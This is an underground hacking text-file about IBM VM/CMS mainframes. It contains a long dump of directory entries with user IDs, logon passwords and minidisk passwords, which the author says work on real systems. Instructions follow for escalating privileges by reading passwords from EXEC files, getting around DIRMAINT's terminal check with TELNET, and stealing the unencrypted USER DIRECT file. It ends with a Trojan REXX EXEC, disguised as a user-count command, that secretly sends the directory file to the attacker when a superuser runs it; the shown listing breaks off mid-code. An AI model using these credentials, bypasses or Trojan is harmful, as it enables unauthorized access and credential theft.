APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON * * 5668899 APL2 * INCLUDE EXPPROF
ACCOUNT 9999 I5668899 MDISK 191 3380 264 044 VMSRES MR ALL
WAPL2PP 03131808 * USER VMASSYS VMASSYS 16M 16M EG 64 ON ON
ON ON * * 5767032 AS * INCLUDE EXPPROF ACCOUNT 15 SYSTEM LINK ISPVM 192 192
RR LINK SQLDBA 195 195 RR MDISK 191 3380 569 018 VMPK01 MR RVMASSYS WVMASSYS
INSTALL 03131808 MDISK 391 3380 587 095 VMPK01 MR RVMASSYS WVMASSYS
SYSTEM 03131808 MDISK 392 3380 682 005 VMPK01 MR RVMASSYS WVMASSYS
TEST 03131808 MDISK 393 3380 687 026 VMPK01 MR RVMASSYS WVMASSYS
IPCS 03131808 * USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON * *
5767032 AS * INCLUDE EXPPROF ACCOUNT 15 SYSTEM OPTION MAXCONN 20 IUCV ALLOW
LINK VMASSYS 191 390 RR LINK VMASSYS 391 391 RR MDISK 191 3380 567 002 VMPK01
MR RVMASMON WVMASMON MVMASMON 03131808 * USER VMASTEST VMASTEST 2M 2M
G 64 ON ON ON ON * * 5767032 AS * INCLUDE EXPPROF ACCOUNT 15 SYSTEM LINK
VMASSYS 391 391 RR LINK VMASSYS 392 392 RR MDISK 191 3380 713 018 VMPK01 MR
RVMASTES WVMASTES MVMASTES 03131808 * USER BATCH BATCH 2M 2M ABEG 64
ON ON ON ON * * 5664364 VM BATCH FACILITY * INCLUDE EXPPROF ACCOUNT 999 IUCV
ALLOW OPTION BMX MAXCONN 256 MDISK 191 3380 741 003 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH 03131808 MDISK 193 3380 744 020 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH 03131808 MDISK 194 3380 764 003 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH 03131808 MDISK 199 3380 767 002 VMPK01 RR RVMBATCH
WVMBATCH MVMBATCH 03131808 MDISK 195 3380 769 002 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH 03131808 * USER BATCH1 BATCH1 2M 4M G 64 ON ON ON
ON * * 5664364 VM BATCH FACILITY TEST USERID * INCLUDE EXPPROF ACCOUNT 999
MDISK 191 3380 771 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808
* USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON * * 5664364 VM BATCH FACILITY TEST
USERID * INCLUDE EXPPROF ACCOUNT 999 MDISK 191 3380 776 005 VMPK01 MR
RVMBATCH WVMBATCH MVMBATCH 03131808 * * USER CSPUSER CSPUSER 2M 4M G
64 ON ON ON ON * * 5668814 CSP * * INCLUDE EXPPROF * ACCOUNT 101 * MDISK 191
3380 134 032 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 * MDISK 193
3380 519 008 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 * MDISK 502
3380 527 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 * MDISK 503
3380 547 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 * USER
CVIEW CVIEW 2M 2M G 64 ON ON ON ON * * 5664296 CVIEW * INCLUDE EXPPROF ACCOUNT
15 SYSTEM OPTION BMX LINK MAINT 193 193 RR MDISK 191 3380 732 004 VMSRES MR
RCVIEW WCVIEW 03131808 * USER DIRMAINT DIRMAINT 1M 2M BG
64 ON ON ON ON * * 5748XE4 DIRMAINT * INCLUDE EXPPROF ACCOUNT 7 SYSADMIN
OPTION REALTIME ECMODE MDISK 191 3380 191 004 VMPK01 MR RDIRMAIN WDIRMAIN
MDIRMAIN 03131808 MDISK 193 3380 001 009 VMPK01 MR RDIRMAIN WDIRMAIN
MDIRMAIN 03131808 MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN
MDIRMAIN 03131808 MDISK 294 3380 844 004 VMPK01 MR RDIRMAIN WDIRMAIN
MDIRMAIN 03131808 MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN
MDIRMAIN 03131808 MDISK 123 3380 000 885 VMSRES
MW 03131808 * USER DATAMOVE DATAMOVE 1M 1M
G 64 ON ON ON ON * * 5748XE4 DATAMOVE MACHINE * INCLUDE EXPPROF ACCOUNT 5
SYSADMIN OPTION ACCT ECMODE LINK DIRMAINT 191 193 RR LINK MAINT 193 192
RR MDISK 191 3380 178 003 VMPK01 MR RDATAMOV WDATAMOV MDATAMOV
03131808 * USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON * * 5798DMY FILE
STORAGE CONTROL MACHINE * INCLUDE EXPPROF ACCOUNT 999 OPTION ECMODE BMX
MAXCONN 256 IUCV ALLOW PRIORITY MSGLIMIT 255 LINK FSFADMIN 192 198 RR MDISK
191 3380 143 007 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
192 3380 141 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
193 3380 150 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
194 3380 152 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
195 3380 153 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
197 3380 154 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
200 3380 155 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
201 3380 160 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
400 3380 165 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK
401 3380 170 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 * USER
FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON * * 5798DMY FILE STORAGE TASK MACHINE
* INCLUDE EXPPROF ACCOUNT 999 OPTION BMX MAXCONN 2 IUCV ALLOW PRIORITY
MSGLIMIT 255 LINK FSFCNTRL 191 191 RR * USER FSFTASK2 FSFTASK2 1M 1M G 64 ON
ON ON ON * * 5798DMY FILE STORAGE TASK MACHINE * INCLUDE EXPPROF ACCOUNT 999
OPTION BMX MAXCONN 2 IUCV ALLOW PRIORITY MSGLIMIT 255 LINK FSFCNTRL 191 191
RR * USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON * * 5798DMY FILE STORAGE
ADMINISTRATOR * INCLUDE EXPPROF ACCOUNT 999 OPTION BMX MAXCONN 2 IUCV ALLOW
PRIORITY MSGLIMIT 255 LINK MAINT 319 319 RR MDISK 192 3380 175 003 VMPK02 MR
RFSFADMI WFSFADMI MFSFADMI 03131808 * USER IIPS IIPS 2M 4M G 64 ON ON
ON ON * * 5668012 IIPS * INCLUDE EXPPROF ACCOUNT 8 INSTR MDISK 191 3380 736
013 VMSRES MR RIIPS WIIPS MIIPS 03131808 MDISK 193 3380 749
019 VMSRES MR RIIPS WIIPS MIIPS 03131808 * USER ADMIN ADMIN
1664K 16M ABCDEFG 64 ON ON ON ON * * 5664318 VM/IPF * INCLUDE EXPPROF LINK
MAINT 300 300 RR MDISK 191 3380 781 001 VMPK01 MR RADMIN WADMIN
MADMIN 03131808 * USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON *
* 5664318 VM/IPF * INCLUDE EXPPROF OPTION ECMODE LINK MAINT 300 300 RR MDISK
191 3380 010 002 VMPK01 MR RDISKACN WDISKACN MDISKACN 03131808 * USER
CPRM CPRM 512K 1M G 64 ON ON ON ON * * 5664318 VM/IPF * INCLUDE EXPPROF LINK
OPERATNS 193 193 RR MDISK 191 3380 783 001 VMPK01 MR RCPRM WCPRM
MCPRM 03131808 MDISK 192 3380 098 007 VMSRES MR ALL WCPRM
MCPRM 03131808 MDISK 291 3380 784 001 VMPK01 MR RCPRM WCPRM
MCPRM 03131808 * USER OP1 OP1 1M 13M ABCDEFG 64 ON ON ON ON * *
5664318 VM/IPF * INCLUDE EXPPROF LINK MAINT 300 300 RR MDISK 191 3380 058 001
VMSRES MR ROP1 WOP1 MOP1 03131808 * USER VMUTIL VMUTIL
512K 2M ABDEG 64 ON ON ON ON * * 5664318 VM/IPF * INCLUDE EXPPROF IPL CMS
OPTION ECMODE LINK MAINT 300 300 RR MDISK 191 3380 059 001 VMSRES MR RVMUTIL
WVMUTIL MVMUTIL 03131808 * USER IPFSERV IPFSERV 2M 16M G 64 ON ON
ON ON * * 5664318 VM/IPF * IPL CMS CONSOLE 009 3215 T MAINT SPOOL 00C 2540
READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK MAINT 123 123 MW
LINK MAINT 190 190 RR LINK MAINT 191 192 RR LINK MAINT 193 193 RR LINK MAINT
194 194 RR LINK MAINT 19D 19D RR LINK MAINT 19E 19E RR LINK MAINT 294 294
RR LINK MAINT 295 295 RR LINK MAINT 300 300 RR MDISK 191 3380 060 001 VMSRES
MR RIPFSERV WIPFSERV MIPFSERV 03131808 * USER ISPVM ISPVM 1M 10M EG
64 ON ON ON ON * * 5664282 ISPF * INCLUDE EXPPROF ACCOUNT 104 USER04 MDISK
191 3380 548 005 VMSRES MR RISPVM WISPVM MISPVM 03131808 MDISK
192 3380 110 054 VMSRES MR RISPVM WISPVM MISPVM 03131808 * USER
NETVIEW NETVIEW 5M 16M G 64 ON ON ON ON * * 5664175 NETVIEW * ACCOUNT NETVIEW
GCS OPTION ECMODE IUCV ANY P M 0 IUCV *LOGREC IPL GCS PARM AUTOLOG CONSOLE
01F 3215 SPOOL 00C 2540 READER A SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A
LINK MAINT 190 190 RR LINK MAINT 334 191 RR LINK VTAM 191 291 RR LINK VTAM
29A 29A RR LINK MAINT 595 595 RR MDISK 198 3380 166 034 VMGCS1 WR RNETVIEW
WNETVIEW MNETVIEW 03131808 * USER PRODBM PRODBM 1M 4M G 64 ON ON ON
ON * * 5664309 PROFS DATABASE MANAGER * INCLUDE EXPPROF ACCOUNT 250 PRODBM
OPTION MAXCONN 2000 IUCV ALLOW LINK SYSADMIN 399 399 RR MDISK 161 3380 169
011 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 191 3380 165
004 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 5FD 3380 206
013 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 5FE 3380 193
013 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 5FF 3380 180
013 PROFPK MR RDBM WDBM MDBM 03131808 * USER PROMAIL
PROMAIL 1M 2M G 64 ON ON ON ON * * 5664309 PROFS DISTRIBUTION MANAGER * INCLUDE
EXPPROF ACCOUNT 250 PROMAIL LINK PRODBM 191 395 RR LINK SYSADMIN 399 399
RR MDISK 151 3380 092 004 PROFPK MR RMAIL WMAIL MMAIL
03131808 MDISK 191 3380 084 008 PROFPK MR RMAIL WMAIL MMAIL
03131808 * USER PROCAL PROCAL 1M 4M G 64 ON ON ON ON * * 5664309 PROFS CALENDAR
MANAGER * INCLUDE EXPPROF ACCOUNT 250 PROCAL LINK PRODBM 191 395 RR LINK
SYSADMIN 398 398 RR LINK SYSADMIN 399 399 RR MDISK 191 3380 096 004 PROFPK MR
RCAL WCAL MCAL 03131808 MDISK 5FB 3380 100 013 PROFPK MR
RCAL WCAL MCAL 03131808 MDISK 5FC 3380 113 013 PROFPK MR
RCAL WCAL MCAL 03131808 MDISK 5FD 3380 126 013 PROFPK MR
RCAL WCAL MCAL 03131808 MDISK 5FE 3380 139 013 PROFPK MR
RCAL WCAL MCAL 03131808 MDISK 5FF 3380 152 013 PROFPK MR
RCAL WCAL MCAL 03131808 * USER SYSADMIN NOLOG 1M 16M EG
64 ON ON ON ON * * 5664309 PROFS ADMINISTRATOR * INCLUDE EXPPROF ACCOUNT 250
SYSADMIN LINK PRODBM 161 161 RR LINK PRODBM 191 4FA RR LINK PRODBM 5FD
5FD RR LINK PRODBM 5FE 5FE RR LINK PRODBM 5FF 5FF RR MDISK 191 3380 001
011 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 298 3380 012
029 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 398 3380 041
019 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 399 3380 060
024 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 397 3380 219
002 PROFPK MR ALL WADMIN MADMIN 03131808 * USER SFCM1 SFCM1
3M 5M BDG 64 ON ON ON ON * * 5664198 PSF * INCLUDE EXPPROF ACCOUNT 100 PSF
OPTION ACCT IUCV *SPL LINK PDM470 191 193 RR LINK PDMREM1 191 194 RR LINK
PSFMAINT 191 291 RR LINK PSFMAINT 193 293 RR LINK PSFMAINT 194 294 RR MDISK
191 3380 839 020 VMSRES MR RSFCM1 WSFCM1 03131808 * USER
PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON * * 5664198 PSF MAINTENANCE *
INCLUDE EXPPROF ACCOUNT 1 SYSPROG MDISK 191 3380 814 011 VMSRES MR RPSFMAIN
WPSFMAIN 03131808 MDISK 193 3380 825 004 VMSRES MR RPSFMAIN
WPSFMAIN 03131808 MDISK 194 3380 829 010 VMSRES MR RPSFMAIN
WPSFMAIN 03131808 * USER PDM470 PDM470 4M 5M BG 64 ON ON ON
ON * * 5664198 PSF 3800 PDM * INCLUDE EXPPROF ACCOUNT 100 PSF OPTION ACCT
IUCV *SPL *DEDICATE 470 470 LINK SFCM1 191 193 RR LINK PSFMAINT 191 291 RR
LINK PSFMAINT 194 294 RR MDISK 191 3380 809 005 VMSRES MR RPDM470
WPDM470 03131808 * USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON
ON ON * * 5664198 PSF 3820 PDM * ACCOUNT 100 PSF OPTION ACCT ECMODE IPL GCS
PARM AUTOLOG IUCV *SPL CONSOLE 009 3215 SPOOL 00C 2540 READER * SPOOL 00D
2540 PUNCH A SPOOL 00E 1403 A LINK MAINT 190 190 RR LINK MAINT 19E 19E RR
LINK MAINT 595 595 RR LINK SFCM1 191 193 RR LINK PSFMAINT 191 291 RR LINK
PSFMAINT 194 294 RR MDISK 191 3380 804 005 VMSRES MR RPDMREM1
WPDMREM1 03131808 * USER PVM PVM 1024K 2M BG 50 ON ON ON ON
* * 5748RC1 VM PASS-THROUGH FACILITY * INCLUDE EXPPROF OPTION ECMODE LINK
MAINT 193 193 RR LINK MAINT 36E 191 MR * USER RSCS RSCS 1M 2M BG 64 ON ON ON
ON * * 5748XP1 RSCS V1 * ACCOUNT 15 SYSTEM OPTION ACCT ECMODE IPL 191
CONSOLE 009 3215 SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E
1403 A LINK MAINT 190 190 RR LINK MAINT 193 193 RR LINK MAINT 19E 19E RR
LINK MAINT 19D 19D RR LINK MAINT 49E 49E RR MDISK 191 3380 105 002 VMSRES MR
RRSCS WRSCS MRSCS 03131808 * USER RSCSV2 RSCSV2 2M 4M BG 64
ON ON ON ON * * 5664188 RSCS (VERSION 2) * ACCOUNT 15 SYSTEM OPTION ECMODE
ACCT BMX VCUNOSHR IPL GCS PARM AUTOLOG CONSOLE 01F 3215 T OPERATOR SPOOL 00C
2540 READER A SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK MAINT 595 595 RR
LINK MAINT 59F 191 RR * USER SMART SMART 2048K 2M CEG 64 ON ON ON ON * *
5796PNA VM REAL TIME MONITOR SYSTEM * INCLUDE EXPPROF ACCOUNT 999 LINK MAINT
319 319 RR MDISK 191 3380 848 026 VMPK01 MR RSMART WSMART
MSMART 03131808 * USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \ * *
5748XXJ SQL/DS ADMINISTRATOR * ACCOUNT 26 OPTION MAXCONN 25 IUCV ALLOW IUCV
*IDENT SQLDBA GLOBAL IPL CMS CONSOLE 009 3215 T OPERATOR SPOOL 00C 2540
READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 LINK MAINT 190 190 RR LINK
MAINT 19D 19D RR MDISK 191 3380 001 010 SQLPK
W 03131808 MDISK 193 3380 011 035 SQLPK
R RSQL WSQL 03131808 MDISK 195 3380 046 013 SQLPK
RR RSQL WSQL MSQL 03131808 MDISK 200 3380 059 034 SQLPK
R RSQL WSQL 03131808 MDISK 201 3380 093 011 SQLPK
R RSQL WSQL 03131808 MDISK 202 3380 104 100 SQLPK
R RSQL WSQL 03131808 * USER SQLUSER SQLUSER 2M 2M G
64 ON ON ON ON * * 5748XXJ SQL/DS USER MACHINE * INCLUDE EXPPROF ACCOUNT 27
OPTION REALTIMER IUCV SQLDBA LINK SQLDBA 195 195 RR MDISK 191 3380 204 003
SQLPK W 03131808 * USER VMARCH VMARCH 2M
4M BEG 64 ON ON ON ON * * 5664291 VMBACKUP * INCLUDE EXPPROF ACCOUNT 999
OPTION ACCT ECMODE LINK MAINT 123 1A0 RR MDISK 191 3380 001 011 VMPK02 MR
RVMARCH WVMARCH MVMARCH 03131808 MDISK 193 3380 012 007 VMPK02 MR
RVMARCH WVMARCH MVMARCH 03131808 MDISK 100 3380 019 007 VMPK02 MR
RVMARCH WVMARCH MVMARCH 03131808 MDISK 101 3380 026 007 VMPK02 MR
RVMARCH WVMARCH MVMARCH 03131808 MDISK 200 3380 033 007 VMPK02 MR
RVMARCH WVMARCH MVMARCH 03131808 * USER VMBACKUP VMBACKUP 2M 16M
BEG 64 ON ON ON ON * * 5664291 VMBACKUP * ACCOUNT 999 OPTION ACCT BMX ECMODE
IPL CMS CONSOLE 009 3215 SPOOL 001 2540 READER * SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH SPOOL 0D0 2540 PUNCH SPOOL 0D1 2540 PUNCH SPOOL 00E
1403 SPOOL 0E0 1403 SPOOL 0E1 1403 SPOOL 0E2 1403 SPOOL 0E3 1403 SPOOL 0E4
1403 SPOOL 0E5 1403 SPOOL 0E6 1403 SPOOL 0E7 1403 LINK MAINT 190 190 RR
LINK MAINT 19E 19E RR LINK MAINT 123 1A0 RR MDISK 191 3380 040 006 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU 03131808 MDISK 192 3380 046 003 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU 03131808 MDISK 193 3380 049 003 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU 03131808 MDISK 194 3380 052 044 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU 03131808 * USER VMBSYSAD VMBSYSAD 1M 4M BG
64 ON ON ON ON * * 5664291 VMBACKUP * INCLUDE EXPPROF ACCOUNT 999 LINK MAINT
191 124 RR LINK VMBACKUP 194 294 RR RVMBACKU LINK VMBACKUP 193 293 RR
RVMBACKU LINK MAINT 123 1A0 RR MDISK 191 3380 096 005 VMPK02 MR RVMBSYSA
WVMBSYSA MVMBSYSA 03131808 MDISK 192 3380 101 009 VMPK02 MR RVMBSYSA
WVMBSYSA MVMBSYSA 03131808 * USER DEMO1 DEMO1 4M 4M G 64 ON ON ON ON
* * 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER * INCLUDE EXPPROF ACCOUNT
DEMO1 DEMO1 IUCV SQLDBA LINK MAINT 319 319 RR LINK MAINT 31A 31A RR
LINK MAINT 322 322 RR LINK MAINT 326 326 RR LINK MAINT 34A 59A RR
LINK SQLDBA 195 195 RR LINK SYSADMIN 399 399 RR MDISK 191 3380 107 003
VMSRES MR RDEMO1 WDEMO1 MDEMO1 03131808 * USER DEMO2 DEMO2 4M
4M G 64 ON ON ON ON * * 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER *
INCLUDE EXPPROF ACCOUNT DEMO2 DEMO2 IUCV SQLDBA LINK MAINT 319 319 RR
LINK MAINT 31A 31A RR LINK MAINT 322 322 RR LINK MAINT 326 326 RR
LINK MAINT 34A 59A RR LINK SQLDBA 195 195 RR LINK SYSADMIN 399 399 RR
MDISK 191 3380 859 003 VMSRES MR RDEMO2 WDEMO2 MDEMO2 03131808
* USER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON * * 5664283 VM/IS-PRODUCTIVITY
FACILITY SAMPLE USER * INCLUDE EXPPROF ACCOUNT DEMO3 DEMO3 IUCV SQLDBA LINK
MAINT 319 319 RR LINK MAINT 31A 31A RR LINK MAINT 322 322 RR LINK
MAINT 326 326 RR LINK MAINT 34A 59A RR LINK SQLDBA 195 195 RR LINK
SYSADMIN 399 399 RR MDISK 191 3380 862 003 VMSRES MR RDEMO3 WDEMO3
MDEMO3 03131808 * USER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON * *
5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER * INCLUDE EXPPROF ACCOUNT
DEMO4 DEMO4 IUCV SQLDBA LINK MAINT 319 319 RR LINK MAINT 31A 31A RR
LINK MAINT 322 322 RR LINK MAINT 326 326 RR LINK MAINT 34A 59A RR
LINK SQLDBA 195 195 RR LINK SYSADMIN 399 399 RR MDISK 191 3380 865 003
VMSRES MR RDEMO4 WDEMO4 MDEMO4 03131808 * USER VMTAPE VMTAPE 1M
2M BCEG 64 ON ON ON ON * * 5664292 VMTAPE * INCLUDE EXPPROF ACCOUNT 999
OPTION BMX ECMODE ACCT MDISK 191 3380 110 005 VMPK02 MR RVMTAPE WVMTAPE
MVMTAPE 03131808 MDISK 200 3380 115 007 VMPK02 MR RVMTAPE WVMTAPE
MVMTAPE 03131808 MDISK 300 3380 122 007 VMPK02 MR RVMTAPE WVMTAPE
MVMTAPE 03131808 * USER VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON * *
5664292 VMTAPE * INCLUDE EXPPROF ACCOUNT 999 LINK VMTAPE 191 193 MR LINK
VMTAPE 200 200 MW LINK VMTAPE 300 300 MW MDISK 191 3380 129 005 VMPK02 MR
RVMTLIBR WVMTLIBR MVMTLIBR 03131808 MDISK 192 3380 134 007 VMPK02 MR
RVMTLIBR WVMTLIBR MVMTLIBR 03131808 * USER VMMAP VMMAP 2M 4M G 64 ON
ON ON ON * * 5664191 VMMAP * INCLUDE EXPPROF ACCOUNT 999 LINK MAINT 193 193
RR MDISK 191 3380 639 024 VMSRES MR RVMMAP WVMMAP MVMMAP
03131808 * USER VTAM VTAM 5M 16M G 64 ON ON ON ON * * 5664280 VTAM * ACCOUNT
VTAM GCS OPTION ECMODE DIAG98 MAXCONN 400 IUCV *CCS P M 10 IUCV ANY P M 0
IPL GCS PARM AUTOLOG CONSOLE 01F 3215 SPOOL 00C 2540 READER A SPOOL 00D 2540
PUNCH A SPOOL 00E 1403 A LINK MAINT 190 190 RR LINK MAINT 298 191 RR LINK
MAINT 29A 29A RR LINK MAINT 595 595 RR * USER VM3812 VM3812 3M 4M BG 64 ON ON
ON ON * * 5798DTE VM3812 SERVICE MACHINE * INCLUDE EXPPROF ACCOUNT 15 SYSTEM
MDISK 191 3380 813 004 VMPK01 MR RVM3812 WVM3812 MVM3812 03131808
MDISK 192 3380 817 007 VMPK01 MR RVM3812 WVM3812 MVM3812 03131808
MDISK 193 3380 824 020 VMPK01 MR ALL WVM3812 03131808
* ADD USER ID ------ USER VSEMAN VSE 2M 16M ABCDEFG 42 ON ON ON ON INCLUDE
EXPPROF ACCOUNT 999 SYSTEM MDISK 191 3380 001 030 EDMD01 MR
VSE 03131808 MDISK 192 3380 873 012 VMSRES MR
VSE 03131808 USER PENG PENG 2M 16M ABCDEFG 42
ON ON ON ON INCLUDE EXPPROF ACCOUNT 999 SYSTEM MDISK 191 3380 553 010 VMSRES
MR PENG PENG 03131808 * USER MOESERV MOESERV 2M 16M
G 42 ON ON ON ON INCLUDE EXPPROF ACCOUNT 996 MOE MDISK 191 3380 544 002
VMPK01 MR MOESERV MOESERV 03131808 * USER VTAMUSER
CCC 2M 8M G 64 ON ON ON ON * * 5668814 CSP * INCLUDE EXPPROF ACCOUNT
101 MDISK 191 3380 134 032 VMPK01 MW VTAM1 WVTAM1 MVTAM1
03131808 USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON INCLUDE EXPPROF ACCOUNT
101 MDISK 191 3380 519 005 VMPK01 MW VTAM1 WVTAM1 MVTAM1
03131808 MDISK 192 3380 524 020 VMPK01 MW VTAM1 WVTAM1 MVTAM1
03131808
===============================================================================
If you need an explanation about these two tables, you should look at it like
this:
|------User ID | |-------That User ID's password ^
^ USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON ^ ^
^ | | |---Its privilege grade |
|--Its maximum memory storage |
|----Its default memory storage
INCLUDE EXPPROF <-----What you see when you log on ACCOUNT 101 MDISK 191
3380 519 005 VMPK01 MW VTAM1 WVTAM1 MVTAM1
^ ^ ^ ^ |
| | |---Minidisk mult pass |
| |---Minidisk write pass | |---Minidisk
read pass |--Its minidisk
MDISK 192 3380 524 020 VMPK01 MW VTAM1 WVTAM1 MVTAM1
===============================================================================
Luckily, I have tested the second table in 4 VM systems and it works. May you
be lucky too!
Of course, since all of us are general users, the first thing to know is how to
get privileges by trying a password or by accident by getting privileged users'
passwords.
While CP/CMS uses passwords to control performance, it must store some
passwords in the REXX command language (EXEC files). It looks like this:
CP LINK VTAMUSER 191 121 RR VTAM1
If you have succeeded in linking that minidisk then:
AC 121 B FILEL * * B
Then you can see all of the files owned by VTAMUSER. Usually people are lazy
enough to remember too many passwords, so to read the passwords. It may be its
CP pass too! TRY IT!!!
But IBM is not so stupid as to let any user with privileges open accounts
randomly. It limits a maximum of 8 superusers to be able to do it. You may
find it in:
DIRMAINT DATA Y2
Only these DIRM-STAFF can open accounts from the console. If another user logs
on from a terminal, he will be logged out immediately even though he knew the
password. And only these STAFF have 2 modes of operation to use:
DIRM
One is general user mode and the other is operation mode (Privilege operation)
so you have to cheat the O.S. to think that you are NOT logged in from a
terminal. Our way is to use TELNET. Usually this package is named TCPIP. Do
this:
TELNET yourhost
It will request you logon again. Then, if you logon with the superuser ID &
password, the O.S. will not recognize that you are from a terminal and will let
you in!! The most important thing is that IBM stores its user IDs & passwords
in a file:
USER DIRECT
Usually, this file is stored on DIRMAINT's minidisk and it is a text file!!! I
do not know why, but it actually is not encrypted!!!! Incredible to believe...
Once you have this file, you will know all users' passwords and all information
about all users' IDs and I think it is rude to open new accounts! Poor me!
I've done this and lost privs 3 times now. While there is a way to get back
your privs, first you need find a privileged ID so that you can write your file
in it. Then, write a EXEC file into it. This file's name must be a most
common command that any one will issue. If the general user uses it, nothing
happens, but if a superuser issues it, then it will do something for you! Here
is a example:
Please note that wherever you see (cut), it means that the line was too long
and had to be split. Whenever you see (cut), take the line below the line that
it is on and paste it on the end of the (cut) line (removing the (cut) in the
process).
-----------------------------------Cut Here------------------------------------
/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */
TRACE O USER = 0 SW = 1 S = 1 PARSE UPPER ARG NAM GARBAGE IF NAM = ' '
THEN signal qname PO = INDEX(NAM,'*') IF PO = 0 THEN DO Q NAM EXIT END
T = PO - 1 IF T= 0 THEN signal qname NALL = SUBSTR(NAM,1,T) EXECIO '* CP
(STRING Q N ' NUMQ = QUEUED() DO N = 1 TO NUMQ PULL STR PARSE VALUE STR
with NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N '-' LC.N (cut) ','ND.N '-'
LD.N na.n=substr(strip(na.n,'L'),1,8) nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8) nd.n=substr(strip(nd.n,'L'),1,8) END DO N = 1
TO NUMQ IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(NA.N,1,T)=NALL &
(cut) SUBSTR(space(NA.N),1,4)^='LOGO' & SPACE A.S =
NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END; IF LB.N ^= DSC & LB.N ^= '
' & SUBSTR(NB.N,1,T)=NALL & (cut) SUBSTR(space(NB.N),1,4)^='LOGO' &
SPACE A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END; IF LC.N
^= DSC & LC.N ^= ' ' & SUBSTR(NC.N,1,T)=NALL & (cut)
SUBSTR(space(NC.N),1,4)^='LOGO' & SPACE A.S = NC.N||'-'||LC.N||',' ;
S=S+1 ; USER=USER+1; END; IF LD.N ^= DSC & LD.N ^= ' ' &
SUBSTR(ND.N,1,T)=NALL & (cut) SUBSTR(space(ND.N),1,4)^='LOGO'
SPACE(L A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END; END
CLRSCRN call concate SAY MM= ' <- - - - - - - - - - - -' RIGHT(USER,3,0) '
SPECIFIED LOGON USERS - (cut) - - - - - - - - - - ->' say MM SAY SAY
EXIT QNAME: /* DISPLAY THE NUMBER OF USERS LOGGED ON */ USER = 0 SW = 1
S = 1 EXECIO '* CP (STRING Q N ' IF USERID() ='MAINT' THEN SIGNAL NJ
/*super user id */ IF USERID() ='JASMIN' THEN SIGNAL NJ /*super user id */ IF
USERID() ='LIU' THEN SIGNAL NJ /*supr userid */ IF USERID() ='PMAINT' THEN
SIGNAL NJ /*super user id*/ IF USERID() ='MOESERV' THEN SIGNAL NJ /* super user
id*/ SIGNAL JP NJ: CP SET IMSG OFF CP SET MSG OFF EXEC DIRMAINT GET DIRMAINT
NOLOCK SLEEP 2 SEC CP TRAN USERID() ALL yourid /* to your own id*/ CP
SET IMSG ON CP SET MSG ON JP: NUMQ = QUEUED() DO N = 1 TO NUMQ PULL
STR PARSE VALUE STR with NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N
(cut) '-' LC.N ','ND.N '-' LD.N na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8) nc.n=substr(strip(nc.n,'L'),1,8)
